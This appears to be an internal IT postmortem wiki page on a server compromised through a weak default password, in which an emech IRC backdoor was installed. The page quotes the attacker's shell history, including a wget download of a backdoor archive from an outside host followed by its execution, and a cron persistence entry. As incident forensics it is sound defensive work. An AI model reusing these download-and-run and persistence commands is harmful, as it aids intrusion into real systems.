Zagnut Compromised


5/1/2015

Discovery


Early on Friday morning suspicious files were discovered on Zagnut. I was looking through crontabs looking for a specific entry for the move to AWS when I discovered account 'adrian' had a crontab. Upon looking in it, I found the following entry:

* * * * * /dev/shm/.adobe/update >/dev/null 2>&1


After noticing that and inspecting /dev/shm/.adobe/, it was revealed that it was an IRC backdoor that contained its own version of bash(md5 dc7b9585c47ab44830dc84a11e0272fe), which is part of emech(Linux.RST.A or Linux/Mech.A. This has potentially compromised various binaries in the system, however, since is was packaged with Emech, I'm leaning on the possibility that it's the Linux/Mech.A variety.

I could not determine if emech was running or not. This could be a symptom of a rootkit or just that it was not running. I kill -9ed the PID listed in /dev/shm/adobe/m.pid just in case and the pid file was never updated after.

The history files were never erased, and the only evidence of the cracker's behavior is the following:

  590  23/04/15 09:20:16 w
  591  23/04/15 09:20:20 ps -x
  592  23/04/15 09:20:23 uname -a
  593  23/04/15 09:20:27 history
  594  23/04/15 09:21:34 ls
  595  23/04/15 09:21:38 ls -all
  596  23/04/15 09:21:44 cd =
  597  23/04/15 09:21:48 passwd
  598  23/04/15 09:22:12 ifconfig
  599  23/04/15 09:22:26 cd /dev/shm
  600  23/04/15 09:22:27 ls -a
  601  23/04/15 09:22:31 cd " "
  602  23/04/15 09:22:33 wget
  603  23/04/15 09:22:47 wget ciombi.altervista.org/.adobe.tgz
  604  23/04/15 09:22:52 tar zxvf .adobe.tgz 
  605  23/04/15 09:22:58 rm -rf .adobe.tgz 
  606  23/04/15 09:23:00 cd .adobe/
  607  23/04/15 09:23:04 chmod +x *
  608  23/04/15 09:23:08 ./start fofel
  609  23/04/15 09:23:15 ./autorun


Anything after this is not especially traceable if done via the installed version of bash.

/var/log/secure snipped:
Apr 23 11:20:14 web8 sshd[6803]: Accepted password for adrian from 46.108.172.62 port 26810 ssh2
Apr 23 11:20:14 web8 sshd[6803]: pam_unix(sshd:session): session opened for user adrian by (uid=0)
[...]
Apr 23 11:21:51 web8 passwd: pam_unix(passwd:chauthtok): authentication failure; logname=adrian uid=503 euid=0 tty=pts/2 ruser= rhost=  user=adrian
[...]
Apr 23 11:22:09 web8 passwd: pam_unix(passwd:chauthtok): password changed for adrian
[...]
Apr 23 13:34:30 web8 sshd[6803]: pam_unix(sshd:session): session closed for user adrian


46.108.172.62 does not appear to be an IP used for a dictionary or brute force attack. It was one shot one kill, possibly from this cracker's home server or home connection. It's a Romanian IP and I doubt reporting anything to their abuse address will matter.

Remediation


Account 'adrian' has had it's password reset to a random set of characters. The backdoor daemon, considered not to be running should not be of any threat.

I downloaded chkrootkit and compiled from source. It did not reveal any malicious rootkits. rkhunter did discover emech and some others to investigate. Nothing surprising found. netstat --numeric-ports -lp did not reveal any unusual processes listening on any network ports, either.

/dev/shm/.adobe has been removed.

Conclusion


Compromise of the server was able to be completed due to a poor choice of default password and that password never being changed after account delivery. To prevent this in the future, a stronger default password should be set and passwords should be changed immediately upon delivery.

After forensic analysis, I'm fairly confident that root was never compromised(even though account 'adrian' had sudo privileges) and the purpose of the intrusion was to run mass checks or some interaction with a bot blacklist. This could have only been the beginning, and there is somewhat of a chance that it could have went further. However, since our move to AWS should be soon, I don't think we need to rush to remove this server entirely.

That said, zagnut can not longer be fully trusted and we should intend to move off it as soon as possible.

Attached is a tgz of the /dev/shm/.adobe/ directory. Under no circumstances should any files within the tarball be executed on any machine we care about.

Files


Attachments
File Last modified Size
emech-20150501.tgz 2015-05-01 11:03 401Kb


--
CategoryITPostmortems
There are no comments on this page.
Valid XHTML :: Valid CSS: :: Powered by WikkaWiki